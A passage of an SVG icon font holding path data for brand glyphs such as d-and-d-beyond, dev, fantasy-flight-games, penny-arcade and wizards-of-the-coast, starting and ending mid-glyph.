c0.299805 3.41992 0.259766 -4.72949 0.450195 40.5801c0 5.65039 -0.339844 6.58008 -3.22949 6.83008c-3.9502 0.350586 -4 2.25977 -0.69043 3.37012l19.0898 0.0898438c0.320312 0 4.49023 -0.530273 1 -3.37988c0 -0.0498047 -0.160156 0 -0.240234 0
c-3.60938 -0.259766 -3.93945 -1 -4 -4.62012c-0.269531 -43.9297 0.0703125 -40.2295 0.410156 -42.8203c0.110352 -0.839844 0.270508 -2.22949 5.10059 -2.13965c2.48926 0 3.85938 -3.37012 0 -3.39941c-10.3701 -0.0800781 -20.7402 0 -31.1104 -0.0703125
c-10.6699 0 -13.4697 6.2002 -24.21 20.8203c-1.59961 2.17969 -8.31055 2.35938 -8.2002 0.369141c0.879883 -16.4697 0 -17.7793 4 -17.6699c4.75 0.100586 4.73047 -3.56934 0.830078 -3.5498h0.0595703zM423.271 228.778
c-1.20996 -7.12988 0.170898 -10.3799 -5.2998 -10.3398c-61.5498 0.419922 -47.8193 0.219727 -50.7197 0.30957c-1.02246 0.100586 -2.64844 0.426758 -3.62988 0.730469c-2.53027 0.599609 1.47949 1.22949 -0.379883 5.59961
c-1.43066 3.37012 -2.78027 6.78027 -4.11035 10.1895c-0.210938 0.797852 -1.05078 1.44434 -1.875 1.44434c-0.0351562 0 -0.0908203 -0.00195312 -0.125 -0.00390625c-1.82812 0.0878906 -4.79785 0.15918 -6.62793 0.15918
c-2.19727 0 -5.75879 -0.102539 -7.95215 -0.229492c-0.587891 -0.0771484 -1.31348 -0.551758 -1.62012 -1.05957c-1.58008 -3.62012 -3.06934 -7.29004 -4.50977 -11c-1.26953 -3.23047 7.86035 -1.32031 12.1904 -2.16016c3 -0.570312 4.5293 -3.71973 0.65918 -3.72949
h-26.3691c-2.91992 0 -3.09082 3.14941 -0.740234 3.20996c0.0791016 -0.00390625 0.208008 -0.00683594 0.288086 -0.00683594c2.14648 0 4.66992 1.55762 5.63184 3.47656c1.5 3 2.7998 6 4.11035 9.08984c18.1797 42.1396 17.0596 40.1699 18.4199 41.6104
c0.300781 0.431641 0.973633 0.78125 1.5 0.78125s1.19824 -0.349609 1.5 -0.78125c2.92969 -3.33984 18.3994 -44.71 23.6201 -51.9199c2 -2.7002 5.73926 -2 6.35938 -2c3.61035 -0.130859 4 1.10938 4.12988 4.29004
c0.0898438 1.86914 0.0800781 -1.1709 0.0703125 41.2393c0 4.45996 -2.36035 3.74023 -5.5498 4.27051c-0.259766 0 -2.56055 0.629883 -0.0800781 3.05957c0.209961 0.200195 -0.890625 0.240234 21.7002 0.150391c2.31934 0 5.31934 -2.75 -1.20996 -3.4502
c-0.0322266 0.000976562 -0.0830078 0.00292969 -0.115234 0.00292969c-1.41309 0 -2.55957 -1.14746 -2.55957 -2.56055c0 -0.0751953 0.00683594 -0.197266 0.0146484 -0.272461c-0.0703125 -1.62988 -0.19043 -38.8896 0.290039 -41.21
c0.27832 -1.34668 1.62109 -2.43848 2.99609 -2.43848c0.0644531 0 0.168945 0.00390625 0.233398 0.00878906c13.25 -0.430664 14.9199 -0.44043 16 3.41016c1.66992 5.7793 4.12988 2.51953 3.73047 0.189453zM318.551 164.408
c-4.24023 0 -4.41992 3.38965 -0.609375 3.41016c35.9092 0.160156 28.1094 -0.379883 37.1895 0.649414c1.67969 0.19043 2.37988 -0.239258 2.25 -1.88965c-0.259766 -3.38965 -0.639648 -6.78027 -1 -10.1602c-0.25 -2.16016 -3.2002 -2.61035 -3.39941 0.150391
c-0.380859 5.30957 -2.15039 4.44922 -15.6309 5.08008c-1.58008 0.0693359 -1.63965 0 -1.63965 -1.52051v-16.1299c0 -1.65039 0 -1.59961 1.62012 -1.46973c3.12012 0.25 10.3096 -0.339844 15.6895 1.51953c0.470703 0.160156 3.30078 1.79004 3.07031 -1.75977
c0 -0.209961 -0.759766 -10.3496 -1.17969 -11.3896c-0.530273 -1.29004 -1.87988 -1.51074 -2.58008 -0.320312c-1.16992 2 0 5.08008 -3.70996 5.2998c-15.4199 0.900391 -12.9102 2.5498 -12.9102 -6c0 -12.25 -0.759766 -16.1104 3.88965 -16.2402
c16.6406 -0.479492 14.4004 0 16.4307 5.70996c0.839844 2.37012 3.5 1.77051 3.17969 -0.580078c-0.44043 -3.20996 -0.849609 -6.42969 -1.22949 -9.63965c0 -0.360352 -0.160156 -2.39941 -4.66016 -2.38965c-37.1602 0.0800781 -34.54 0.189453 -35.21 0.30957
c-2.7207 0.509766 -2.2002 3 0.219727 3.4502c1.09961 0.19043 4 -0.540039 4.16016 2.55957c2.43945 56.2207 -0.0703125 51.3408 -3.91016 51.3301zM318.141 273.928c2.45996 -0.609375 3.12988 -1.75977 2.9502 -4.64941
c-0.330078 -5.2998 -0.339844 -9 -0.549805 -9.69043c-0.660156 -2.22949 -3.15039 -2.12012 -3.33984 0.270508c-0.379883 4.80957 -3.0498 7.81934 -7.57031 9.14941c-26.2803 7.73047 -32.8096 -15.46 -27.1699 -30.2197c5.87988 -15.4102 22 -15.9199 28.8604 -13.7803
c5.91992 1.85059 5.87988 6.5 6.91016 7.58008c1.22949 1.2998 2.25 1.83984 3.11914 -1.09961c0 -0.100586 0.570312 -11.8906 -6 -12.75c-1.59961 -0.209961 -19.3799 -3.69043 -32.6797 3.38965c-21 11.1904 -16.7402 35.4697 -6.87988 45.3301
c14 14.0596 39.9102 7.05957 42.3203 6.46973h0.0292969zM289.801 167.858c3.28027 0 3.66016 -3 0.160156 -3.43066c-2.61035 -0.319336 -5 0.419922 -5 -5.45996c0 -2 -0.19043 -29.0498 0.400391 -41.4502c0.109375 -2.28906 1.14941 -3.51953 3.43945 -3.64941
c22 -1.20996 14.9502 1.64941 18.79 6.33984c1.83008 2.24023 2.75977 -0.839844 2.75977 -1.08008c0.350586 -13.6201 -4 -12.3896 -5.18945 -12.3994l-38.1602 0.189453c-1.92969 0.230469 -2.05957 3 -0.419922 3.37988c2 0.480469 4.93945 -0.399414 5.12988 2.7998
c1 15.8701 0.570312 44.6504 0.339844 47.8105c-0.269531 3.76953 -2.7998 3.26953 -5.67969 3.70996c-2.46973 0.379883 -2 3.21973 0.339844 3.21973c1.4502 0.0205078 17.9697 0.0302734 23.0898 0.0205078zM258.171 225.648
c0.0703125 -4.08008 2.86035 -3.45996 6 -3.58008c2.61035 -0.100586 2.53027 -3.41016 -0.0703125 -3.43066c-6.47949 0 -13.6992 0 -21.6094 0.0605469c-3.83984 0 -3.37988 3.34961 0 3.37012c4.49023 0 3.24023 -1.61035 3.41016 45.54
c0 5.08008 -3.27051 3.54004 -4.7207 4.22949c-2.58008 1.23047 -1.35938 3.08984 0.410156 3.15039c1.29004 0 20.1904 0.410156 21.1699 -0.209961c0.980469 -0.620117 1.87012 -1.65039 -0.419922 -2.86035c-1 -0.519531 -3.85938 0.280273 -4.14941 -2.46973
c0 -0.209961 -0.820312 -1.62988 -0.0703125 -43.7998h0.0498047zM221.261 -48.6221c0.408203 -0.273438 1.13867 -0.495117 1.62988 -0.495117c0.492188 0 1.22168 0.22168 1.62988 0.495117c17 9.79004 182 103.57 197.421 112.51
c-0.140625 0.430664 11.2598 0.180664 -181.521 0.270508c-1.21973 0 -1.57031 -0.370117 -1.53027 -1.56055c0 -0.0996094 1.25 -44.5098 1.2207 -50.3799c-0.0791016 -2.17969 -0.688477 -5.63379 -1.36035 -7.70996c-0.549805 -1.83008 0.379883 0.5 -13.5 -32.2295
c-0.730469 -1.7207 -1 -2.20996 -2 0.0800781c-4.19043 10.3398 -8.28027 20.7197 -12.5703 31c-1.12109 2.52441 -2.03125 6.81543 -2.03125 9.57812c0 0.333984 0.0146484 0.876953 0.03125 1.21191c0.160156 2.45996 0.800781 16.1191 1.51074 48c0 1.94922 0 2 -2 2
h-183c2.5791 -1.63086 178.319 -102.57 196 -112.761zM130.361 140.128c0 -2.39941 0.359375 -2.79004 2.75977 -3c11.54 -1.16992 21 -3.74023 25.6396 7.32031c6 14.46 2.66016 34.4102 -12.4795 38.8398c-2 0.589844 -16 2.75977 -15.9404 -1.50977
c0.0498047 -8.04004 0.00976562 -11.6104 0.0205078 -41.6504zM236.111 155.178c0 -2.12988 1.06934 -38.6797 1.08984 -39.1299c0.339844 -9.93945 -25.5801 -5.76953 -25.2305 2.58984c0.0800781 2 1.37012 37.4199 1.10059 39.4307
c-14.1006 -7.44043 -14.4199 -40.21 6.43945 -48.8008c1.88184 -0.816406 5.0752 -1.47949 7.12695 -1.47949c5.53418 0 12.3721 3.83008 15.2637 8.5498c4.90918 7.75977 6.83984 29.4697 -5.43066 39c-0.0966797 -0.0400391 -0.257812 -0.09375 -0.359375 -0.120117
v-0.0400391zM223.831 353.178c-9.83008 0 -9.73047 -14.75 -0.0703125 -14.8701c9.66016 -0.119141 10.1006 14.8809 0.0703125 14.9102v-0.0400391zM143.681 249.348c0 -1.7998 0.410156 -2.39941 2.16992 -2.58008c13.6201 -1.38965 12.5107 11 12.1602 13.3604
c-1.68945 11.2197 -14.3799 10.2002 -14.3496 7.81055c0.0498047 -4.5 -0.0302734 -13.6807 0.0195312 -18.5908zM356.001 242.948l-6.09961 15.8398c-2.16016 -5.48047 -4.16016 -10.5703 -6.23047 -15.8398h12.3301z" />
    <glyph glyph-name="d-and-d-beyond" unicode="&#xf6ca;" horiz-adv-x="640" 
d="M313.8 206.5c-9.89941 0 -16 7 -15.7002 7.09961c-4.2998 5.7002 -3 -0.299805 -2.39941 -1.89941c-10.9004 10.2998 -5.2998 25.3994 -5.10059 26c0.700195 1.89941 0 2.2002 -0.599609 1.89941c-1 -0.299805 -2.09961 -1.89941 -2.09961 -1.89941
c0.799805 9.09961 9.2998 14.7002 9.2998 14.7002l0.200195 -0.200195c1 -1.5 -0.400391 -3.2002 -0.600586 -9c1.60059 2.2998 7.90039 6.59961 11.4004 7.89941c-1.10059 -1.5 -2.10059 -3.59961 -2.10059 -6.59961c3.7002 4.2002 7.5 2.59961 8 2.40039
c-12.1992 -11.9004 -7 -26.6006 3.2002 -26.6006c5.7002 0 11.5 6.40039 13.9004 10.7002c2.39941 -2.40039 6.39941 -5.5 7.39941 -6.59961c-3.7998 -7.80078 -11 -17.9004 -24.7998 -17.9004zM366.2 227.6c0 -2.89941 -2.90039 -4.09961 -5.40039 -4.5
c0.700195 1.5 1.7998 5.10059 -0.200195 9c0.700195 -0.0996094 5.60059 -0.5 5.60059 -4.5zM376.5 222.4c-0.400391 -6.5 -6.90039 -11.6006 -14.5996 -10.6006c2 -1.7002 6.59961 -3 9 -1.89941c-3.90039 -6.90039 -23.1006 -7.5 -23.1006 6.39941
c-2.89941 -2.89941 -2.09961 -7.39941 0 -9.2998c-2.2002 0.700195 -5.7998 3.09961 -6.39941 7.40039c-1.30078 10.0996 4.39941 6.5 -10.4004 18.0996c-4.7998 3.7002 -3 6.59961 -4 8.5c-1.09961 2.2002 -7 4.09961 -4.5 8.5
c-0.0996094 -1.59961 1 -2.90039 2.59961 -3.5c1.80078 -0.700195 3.2002 -0.200195 4.80078 -1c1.69922 -1.2002 0.899414 -3.90039 2.19922 -5c1.10059 -0.799805 4.2002 0.299805 6.60059 -1.7998c2.59961 -2 8.2002 -6.7002 10.5996 -8.60059
c4.40039 -3.59961 8.7998 0.400391 7.40039 4.60059c4.5 -2.60059 5 -9.90039 1.2998 -12.5c10.5996 -2.40039 13 10.0996 5 11.3994c7.2998 0.700195 13.5 -4.2998 13.5 -10.6992zM337.1 240.8c4.30078 6.10059 13.3008 15.2998 23.8008 15.7998
c-5.90039 0.800781 -15.1006 -3.19922 -19.7002 -9c0.899414 3.90039 5.09961 10.1006 10.2002 13c0 0 -2.5 -3.19922 -1.40039 -3.69922c1.59961 -0.800781 5.7998 5.69922 11.2002 5.89941c0 0 -4 -2 -3.2002 -3.39941c0.599609 -0.900391 3.2998 1.2998 8 1.2998
c5.7998 0 10.9004 -3.5 13.2998 -6.2002c-4 1.09961 -11.5996 -0.799805 -13.7998 -2.7002c-0.299805 0.200195 -11.7998 9 -22 -15.5c-4.7998 3.7998 -4.40039 3.7002 -6.40039 4.5zM579.6 188.9c37.2002 0 60.4004 -19.6006 60.4004 -48.9004
c0 -28.2002 -17 -48.9004 -59.0996 -48.9004c-20.7002 0 -41.2002 1.30078 -51.6006 2.10059l7.40039 8.2002v77.1992l-7.40039 8.2002c10.2998 0.799805 29.6006 2.10059 50.2998 2.10059zM564.5 113.3c25.4004 -3.2002 46.7998 1.40039 46.7998 27
c0 22.5 -16.7002 29.6006 -46.7998 26.2998v-53.2998zM301.6 267c0.100586 -0.299805 -2.7998 2.2998 -3.2998 7.5c-0.200195 2.2998 0 19.7998 20 18.9004c11.2002 -0.600586 16.7002 -8.30078 16.7002 -16.5c0 -4.30078 -2.2998 -10.1006 -5.5 -13.8008
c-2.2002 2.2002 -5.59961 4.60059 -7.7002 7.80078c3.7998 5.59961 2.2002 14.3994 -4.7002 14.3994c-4.2998 0 -7.7998 -4.5 -6.39941 -9.89941c-0.700195 -2.40039 -1 -5.60059 -0.5 -8c-4.90039 2.59961 -6.5 6 -7.5 9c-1.2998 -2.5 -2.10059 -6 -1.10059 -9.40039z
M301.2 261c0.299805 1.7002 -3.10059 4.59961 -4.7998 5.2002c4.7998 0.200195 7 -0.600586 7 -0.600586c-1.30078 1.7002 -1.60059 4.5 -1 6.7002c2.5 -6.09961 11.6992 -7.09961 13.8994 -12.2002c-0.299805 2.30078 -2.39941 4.7002 -4.7998 6.10059
c-1.2998 3.2002 -0.299805 9.39941 1.2998 11c-0.5 -8.7998 12 -13.7998 14.6006 -20.2002c-1.40039 5.5 -7.40039 9 -10.1006 12.2002c-1 2.09961 -0.200195 5.7998 0.799805 7.09961c-0.5 -9.7002 15.8008 -14.2998 14.1006 -23.8994
c0.899414 -0.400391 2.09961 -1.2002 1.89941 -2.60059c1.30078 0.299805 2.60059 1.7002 2.90039 2.7002c0.700195 -4.5 -1.90039 -9 -4.7998 -10.4004c1.59961 4 -2.7002 5.60059 -6.7002 5.10059c0 0 1.59961 2.2998 1 3.39941
c-0.799805 1.5 -8 0.800781 -11.2002 -0.299805c1.10059 0.100586 3.60059 -0.200195 4.60059 -0.5c-2.10059 -2.89941 -1 -7.09961 1.2998 -4.2002c0 0 -1.10059 -3.5 -0.299805 -4.2998c0.799805 -0.799805 2.59961 -0.200195 2.59961 -0.200195
c-1.2002 -2.69922 -5.2998 -4.59961 -8.2002 -4.59961c1.10059 0.400391 2.7002 2.2998 3 3.40039c-0.799805 -0.5 -2.7002 -0.700195 -3.5 -0.5c6.10059 3 0 13.1992 -7 8.19922c1 2.7002 3.7002 5.30078 5.7998 6.10059c-1.2998 0.5 -2.69922 0.799805 -4.2998 1.09961
c1.7998 1.5 6.2998 2.7998 8.5 2.60059c-3.5 0.799805 -9.89941 -0.300781 -12.7998 -3.7002c0.900391 0 3.2998 -0.5 4.2998 -0.799805c-4 -0.700195 -9.39941 -4.40039 -11 -6.2002c0.299805 2.2002 1 4.2002 0.5 5.59961c-0.799805 2 -3 2.7998 -7.7998 1.7998
c3.2002 3.2002 9.7002 5.10059 10.2002 6.90039zM327.1 253.6c0 0 -0.899414 3 -4.19922 4.30078c0.699219 -2.2002 1.5 -4.30078 4.19922 -4.30078zM366 249.9l0.700195 0.699219c0.5 0.400391 1.59961 0.900391 2.7002 1.40039v-18.4004
c-1.7002 0.800781 -3.5 1.10059 -5.60059 1.10059c-2.39941 0 -5 -0.5 -5 -0.5c-0.5 0.5 -3.59961 2.89941 -5.09961 3.2002c4.09961 -4.30078 0.5 -9.80078 -3 -7.2002v15.7002c0.700195 0.799805 1.2998 1.7998 2.09961 2.59961
c1.7002 2.09961 4.60059 3.40039 7.5 3.40039c1.7998 0 3.60059 -0.400391 4.7002 -1.40039zM79.9004 142.1c22 -6.39941 19.3994 -20.0996 19.3994 -25.1992c0 -7.80078 -3.2002 -13.6006 -9.89941 -17.6006c-12.6006 -7.39941 -24.7002 -5.89941 -86.4004 -5.89941
l8.40039 8.59961v32.2998l-11.4004 14.6006h11.2998v29.5l-8.2998 8.59961h56.0996c12.9004 0 37 -4.40039 37 -25c0 -1.90039 1 -15.2998 -16.1992 -19.9004zM38.5996 169.6v-20.8994c10.6006 0 29.6006 -3.2998 29.6006 8.7998v3
c0 9.90039 -9.60059 9.09961 -29.6006 9.09961zM38.5996 110.4c20.4004 0 32.9004 -1.90039 32.9004 9.2998h-0.200195v4.5c0 11.0996 -20.5 8.7998 -32.7002 8.7998v-22.5996zM139.8 129.7v-15.4004l60.1006 0.200195l-14.1006 -21.2002h-81.2002l7.40039 8.2002v77.0996
l-7.40039 8.2002l73.5 0.200195v-0.200195l14.1006 -21h-52.4004v-14.8994h37.2002l-14.0996 -21.2002v-0.200195zM354.5 189.8c73.7998 0 77.5996 -99.2998 -0.299805 -99.2998c-77.2002 0 -73.6006 99.2998 0.299805 99.2998zM354.2 112.3
c39 0 37 55.2002 0.200195 55.2998c-37.1006 0 -37.6006 -55.2998 -0.200195 -55.2998zM262.9 120.6l0.199219 -19l7.2002 -8.19922h-42.5996l7.7002 8.19922l-0.200195 19.4004l-44.1006 65.7998h44.9004l-6.40039 -7.2002l21 -37.1992h0.300781l20.5 37.1992
l-6.10059 7.2002h41.7002zM234.5 271.9c-9.09961 6.69922 -9.5 14.0996 -9.59961 14.8994c7.2998 -4.2998 9 -4 39.8994 -4c-5.7998 0 24 3.10059 32.2002 -22.8994c-0.400391 0 -8.40039 -4.80078 -10.4004 -7.90039c5.30078 1.90039 8.90039 1.09961 9 1.09961
c-8 -5.09961 -9.59961 -14.7998 -9.59961 -20.5c0.900391 2.10059 2.7002 3.7002 2.7002 3.5c-0.600586 -2.5 -1.40039 -7 -0.799805 -12c-8.60059 -7.09961 -16 -8.59961 -26 -8.59961h-35.1006c0.400391 0.0996094 7.7998 4.5 7.90039 4.59961
c1.89941 1.10059 2.7002 2.2002 2.7002 6.40039v38.7998c0 4.2002 -1.30078 5.2998 -2.90039 6.60059zM256 266.4v-34.6006c4.7002 0 23.0996 -3.39941 23.0996 17.2998c0 20.6006 -18.5 17.3008 -23.0996 17.3008zM484.9 186.8l39.1992 -0.0996094l-7.39941 -8.2998
v-85.2002h-21.2998c-4 12.7002 -44.8008 45 -48.5 55.5996h-0.300781v-47.3994l7.40039 -8.2002h-39l7.2002 8.2998v76.9004l-7.40039 8.5h31.6006c2.89941 -9.40039 39.7998 -36.5 45.1992 -50.9004h0.300781v42.5zM378.2 282.9
c32.7002 -1.60059 33.7998 -29.8008 33.7998 -33.6006c0 -6.7002 -3.2998 -34 -36.7002 -34h-0.299805c3.59961 4.2998 3.5 11.9004 -2.2002 16.2998c1.2002 0 19.7002 -3.19922 19.7002 17.3008c0 20.6992 -18.4004 17.2998 -23.0996 17.2998v-4.2998
c-5.40039 0.799805 -7.40039 -0.300781 -7.5 -0.300781c2.09961 1.80078 4.5 2.60059 6.09961 2.90039c-7.09961 1.59961 -13.5996 -2.40039 -14.5996 -3.5c0.799805 1.7998 2.39941 3.40039 3.5 4.5c-2.30078 -0.799805 -4.30078 -1.90039 -6.10059 -3
c0 5.2002 0.200195 7.5 -2.89941 9.5c-9.10059 6.59961 -9.5 14.2002 -9.60059 14.9004c7.10059 -4.2002 7.7002 -4 39.9004 -4z" />
    <glyph glyph-name="dev" unicode="&#xf6cc;" 
d="M120.12 239.71c3.87012 -2.90039 5.82031 -7.25977 5.83008 -13.0596v-69.6504c0 -5.80957 -1.94043 -10.1602 -5.82031 -13.0596c-3.87988 -2.90039 -7.76953 -4.35059 -11.6494 -4.35059h-17.4502v104.47h17.4395c3.87988 0 7.77051 -1.44922 11.6504 -4.34961z
M404.1 416c24.2002 0 43.8408 -19.5898 43.9004 -43.7998v-360.4c-0.0595703 -24.21 -19.6904 -43.7998 -43.9004 -43.7998h-360.199c-24.2002 0 -43.8408 19.5898 -43.9004 43.7998v360.4c0.0595703 24.21 19.7002 43.7998 43.9004 43.7998h360.199zM154.2 156.81
l-0.00976562 70.9307c-0.0107422 18.8193 -11.9307 47.2793 -47.3701 47.2793h-47.3799v-165.46h46.3994c36.75 -0.0595703 48.3604 28.4404 48.3604 47.25zM254.88 245.47l0.00976562 29.5205h-63.1895c-11.1504 -0.280273 -19.9805 -9.54004 -19.71 -20.6904v-125.109
c0.279297 -11.1602 9.55957 -19.9805 20.7197 -19.6904h62.1797v29.5703h-53.29v38.4102h32.5703v29.5693h-32.5703v38.4199h53.2803zM358.52 130.18l38.4609 144.801h-32.5801l-29.5703 -113.721l-29.71 113.721h-32.5703l38.5303 -144.801
c10.5898 -24.6299 34.2402 -30.75 47.4395 0z" />
    <glyph glyph-name="fantasy-flight-games" unicode="&#xf6dc;" horiz-adv-x="512" 
d="M256 415.14l223.14 -223.14l-223.14 -223.14l-223.14 223.14zM88.3398 192.17c11.3447 -11.2461 29.7705 -29.4893 41.1299 -40.7197c20.1602 19.8799 40.46 39.8994 61.8506 60.9902c12.0596 -12.5801 24.5195 -25.5703 36.54 -38.1104
c12.0293 11.6895 23.7393 23.0596 35.6895 34.6602c-6.99023 7.4502 -32.1494 32.8301 -35.0898 35.7793c-1.91016 1.9209 -2.29004 3.2207 -0.120117 5.35059c15.5801 15.2295 39.21 17.79 56.9805 5.09961c7.98926 -5.70996 14.2998 -11.6396 48.5098 -43.9502
c10.8203 11.1504 22.2295 22.8506 33.5 34.6904c0.490234 0.520508 0.0996094 2.63965 -0.580078 3.37988c-0.0898438 0.100586 -37.5195 40.6006 -62.1504 59c-33.5801 25.0801 -78.3193 23.0605 -119.77 -18.6895c-84.5703 -85.1807 -94.5303 -95.4805 -96.4902 -97.4805z
M323.16 90.5703c18.8203 18.79 80.3301 80.6396 100.5 101.5c-13.7305 13.4492 -27.1797 26.6299 -40.8604 40.0293c-20.0098 -19.7393 -40.2402 -39.6895 -61.25 -60.4199c-12.3301 12.8301 -24.8799 25.8799 -37.25 38.75
c-1.25977 -0.689453 -1.64941 -0.80957 -1.91016 -1.06934c-10.7295 -10.7705 -21.4199 -21.5801 -32.21 -32.29c-2.22949 -2.20996 -0.519531 -3.35059 0.800781 -4.69043c10.5791 -10.7402 21.1797 -21.4502 31.7695 -32.1797
c3.5498 -3.60059 3.54004 -3.85059 -0.139648 -7.24023c-16.8008 -15.4697 -40.8408 -16.54 -59.3203 -1.7998c-7.62012 6.08008 -11.6602 10.1797 -44.6797 42.0898c-11.5801 -11.8896 -23.3203 -23.9404 -35.3701 -36.3096
c33.5498 -34.7607 50.8496 -53.3408 72.9297 -66.8408c28.9004 -17.6699 71.5 -14.96 106.99 20.4707zM256 448l256 -256l-256 -256l-256 256zM16 192l240 -240l240 240l-240 240z" />
    <glyph glyph-name="penny-arcade" unicode="&#xf704;" horiz-adv-x="640" 
d="M421.91 283.73c7.33984 -16.2705 2.29004 -5.07031 24.6299 -54.6807l-39.7305 -10.6094c13.7002 59.2295 10.6104 45.8398 15.1006 65.29zM215.82 232.62c32.5 8.99023 41.9492 -37.6396 -0.350586 -47.4297c-14.2002 -3.77051 -6.64941 -1.75 -34.8193 -9.34082
l-4.45996 46.1904c28.3193 7.5498 19.4395 5.17969 39.6299 10.5801zM541.98 258.81c75.7998 -37.9092 98 -76.3193 97.9893 -104.47c2.10059 -78.8496 -183.3 -130.33 -399.89 -84.8301c0.540039 -13 -8.00977 -24.6494 -20.5801 -28.0195
c-125.54 -33.54 -117.35 -31.75 -122.53 -31.7598c-14.3701 -0.0107422 -26.4102 10.8896 -27.7998 25.1992l-4.2998 44.4805c-0.0683594 0.724609 -0.125 1.90332 -0.125 2.63184c0 10.5811 8.01758 22.2461 17.8945 26.0381l-1.73926 17.8799
c-50.2305 28.2598 -80.9004 61.8701 -80.9004 95.3701c0 72.9199 144.26 113.4 309.41 98.3701c2.68945 7.54395 11.1514 15.3438 18.8896 17.4102c96.8701 25.9092 65.3203 17.4795 135.59 36.2295c13.1602 3.50977 26.9307 -2.95996 32.6201 -15.3301zM255.14 149.7
c17.5 4.0498 40.2363 19.1562 50.75 33.7197c21.6006 32.5898 14.1104 105.561 -42.5498 104.43c-16.04 -0.229492 -8.07031 0.890625 -186.22 -46.6494l4.34961 -44.5l20.1201 5.38965l11.1104 -114.64l-20.0205 -5.35059l4.30078 -44.5195l115.31 30.7803
l-4.50977 44.5098l-20.5303 -5.50977l-2.45996 23.5498l48.4404 12.9102zM454.32 133.08l108.55 28.96l-4.2998 44.4795l-20.79 -5.55957l-66.6699 145.47c-70.5801 -18.8301 -42.2305 -11.25 -135.591 -36.2393l4.2002 -44.4805l17.1504 4.55957l-33.0801 -126.47
l-20.9902 -5.58984l4.45996 -44.4297l112.851 30.0693l-4.05078 39.54l-19.1992 -5.12012l4.09961 17.54l57.7598 15.4209l6.61035 -14.6807l-14.9004 -3.97949z" />
    <glyph glyph-name="wizards-of-the-coast" unicode="&#xf730;" horiz-adv-x="640" 
d="M219.19 102.31c7.44922 5.80078 16.2598 0.680664 21.7295 -7.0791c7.08984 -10.1201 6.24023 -18.1602 -0.259766 -23.04c-7.62012 -6.24023 -17.0898 0.129883 -21.7305 6.5498c-10.8096 15.1299 -1.63965 22.1895 0.260742 23.5693zM555.94 26.3701
c1.30957 4.4502 3.92969 10.21 3.93945 20.1699c0 34.04 -41.6299 64.4102 -100.03 68.0801c-53.1592 3.39941 -120.46 -15.4502 -184.35 -73.8506l-0.790039 0.260742c1.58008 10.4697 -0.780273 16.2295 -3.40039 21.21l0.260742 1.56934
c64.4199 51.3203 134.069 66.5107 188.8 60.4902c61.0098 -6.54004 104.479 -39.54 101.34 -78.0303c-0.790039 -9.68945 -2.88965 -15.71 -4.97949 -19.8994c-1.34082 -1.66992 -1.13086 -1.7002 -0.790039 0zM392.28 207.58
c-0.530273 7.07031 3.13965 11.7803 6.7998 15.46c3.66992 3.91992 14.9297 10.4697 14.9297 10.4697s-1.2998 -26.4502 -2.08984 -29.8496c-1.04004 -3.92969 -4.96973 -6.81055 -10.4697 -6.5498c-4.98047 0.259766 -8.37988 3.39941 -9.16992 10.4697zM342.26 358.68
c147.17 0 275.48 -86.6797 291.21 -196.939c0 0 -3.66992 -1.31055 -9.68945 -4.4502c0 -0.259766 1.0498 -10.7402 0.259766 -16.5c-0.259766 -1.83008 -1.0498 -1.0498 -1.0498 0c-0.270508 5.24023 -1.57031 11.5303 -2.36035 14.9297
c-4.70996 -2.60938 -10.21 -6.54004 -15.9697 -11.7793c0 0 4.70996 -10.21 4.70996 -25.9209c0 -21.21 -8.37988 -32.9893 -16.5 -37.9697l-0.259766 0.520508c9.16992 9.16992 12.5693 21.4795 12.5693 31.9492c0 13.8701 -6.80957 33.25 -14.3994 41.3701
c0 0 4.4502 -8.12012 6.80957 -17.8096c0 0 -21.21 -21.4697 -26.9697 -62.3203c0 0 -3.66992 9.16992 -10.7402 16.2402c0 0 12.0498 -15.4502 12.0498 -38.2305c0 -19.3799 -12.8398 -37.4395 -27.5 -48.1797c-0.989258 0 -0.790039 -0.169922 -0.790039 0.790039
c15.71 12.8301 22.2607 28.0205 22.2607 46.3506c0 38.2295 -49.2305 80.3896 -130.15 80.3896c-96.1104 0 -181.74 -58.1299 -236.99 -128.05l-1.0498 0.259766c-40.3203 120.979 -135.64 185.66 -196.13 202.16c-2.09961 0.519531 -1.83984 0.790039 -0.790039 1.30957
c12.3096 14.4004 136.96 151.88 341.47 151.88zM243.02 69.0596c16.8408 14.5908 4.99023 30.7705 4.71094 31.1602c-4.08008 5.99023 -16.3105 16.8506 -31.1602 5.5c-10.9502 -8.37988 -11.6406 -22.8896 -4.19043 -32.4697
c6.44043 -8.26953 19.5801 -13.1797 30.6396 -4.19043zM245.11 205.49l1.83008 -8.11035l-3.6709 4.4502l-14.1396 -26.71l24.6201 -28.7998l12.5703 6.01953l-11.7803 70.96zM263.7 87.9102c3.41016 2.35938 7.33984 4.97949 9.67969 6.57031l-0.259766 0.259766
c-1.56055 -0.780273 -3.11035 -1.0498 -12.5703 15.9697v0.259766c6.87012 5.16016 8.45996 4.89062 11.5205 5.5l0.259766 0.260742c-1.31055 3.66992 -1.31055 3.66992 -1.83008 5.5h-0.259766c-3.95996 -3.31055 -1.4707 -1.58008 -11.5205 -7.86035h-0.259766
c-1.83008 3.13965 -4.19043 7.33008 -5.75977 9.68945v1.31055c4.4502 3.91992 10.2197 6.7998 12.3096 7.58984c2.87988 1.0498 4.19043 0.520508 5.24023 0.259766l0.259766 0.520508c-1.30957 1.83008 -2.08984 2.87988 -3.39941 4.70996l-0.520508 0.259766
c-9.9502 -5.5 -17.54 -9.9502 -25.3994 -15.71l0.259766 -0.519531c1.30957 0.259766 3.13965 -0.260742 4.4502 -2.62012c15.04 -25.0801 19.5898 -27.5908 17.54 -31.6904zM318.96 120.38v0.25c-1.99023 0 -2.34961 -1.37012 -14.6602 30.6396v0.260742
c4.95996 1.85938 8.78027 4.37988 12.3105 2.62012l0.259766 0.519531l-3.13965 4.98047l-0.520508 0.259766c-2.22949 -0.929688 -20.4697 -8.00977 -27.7598 -12.5703l-0.259766 -0.519531l1.0498 -5.76074h0.519531c1.0498 3.68066 9.7998 7.33008 9.9502 7.33008
l0.259766 -0.259766c12.9404 -29.7598 13.0703 -29.8799 11.7803 -32.4697l0.259766 -0.259766c3.93066 2.09961 6.81055 3.40918 9.9502 4.97949zM363.73 136.88c-0.780273 0.520508 -2.09082 1.31055 -2.63086 3.92969c-1.56934 6.02051 -4.70996 20.1709 -6.2793 26.4502
c-0.530273 1.57031 -0.530273 3.14062 0.519531 4.4502l-0.259766 0.259766c-3.41016 -0.529297 -6.29004 -1.30957 -10.7402 -2.35938v-0.260742c1.57031 -0.529297 2.10059 -2.09961 2.62012 -3.92969l2.62012 -9.42969l-0.259766 -0.259766
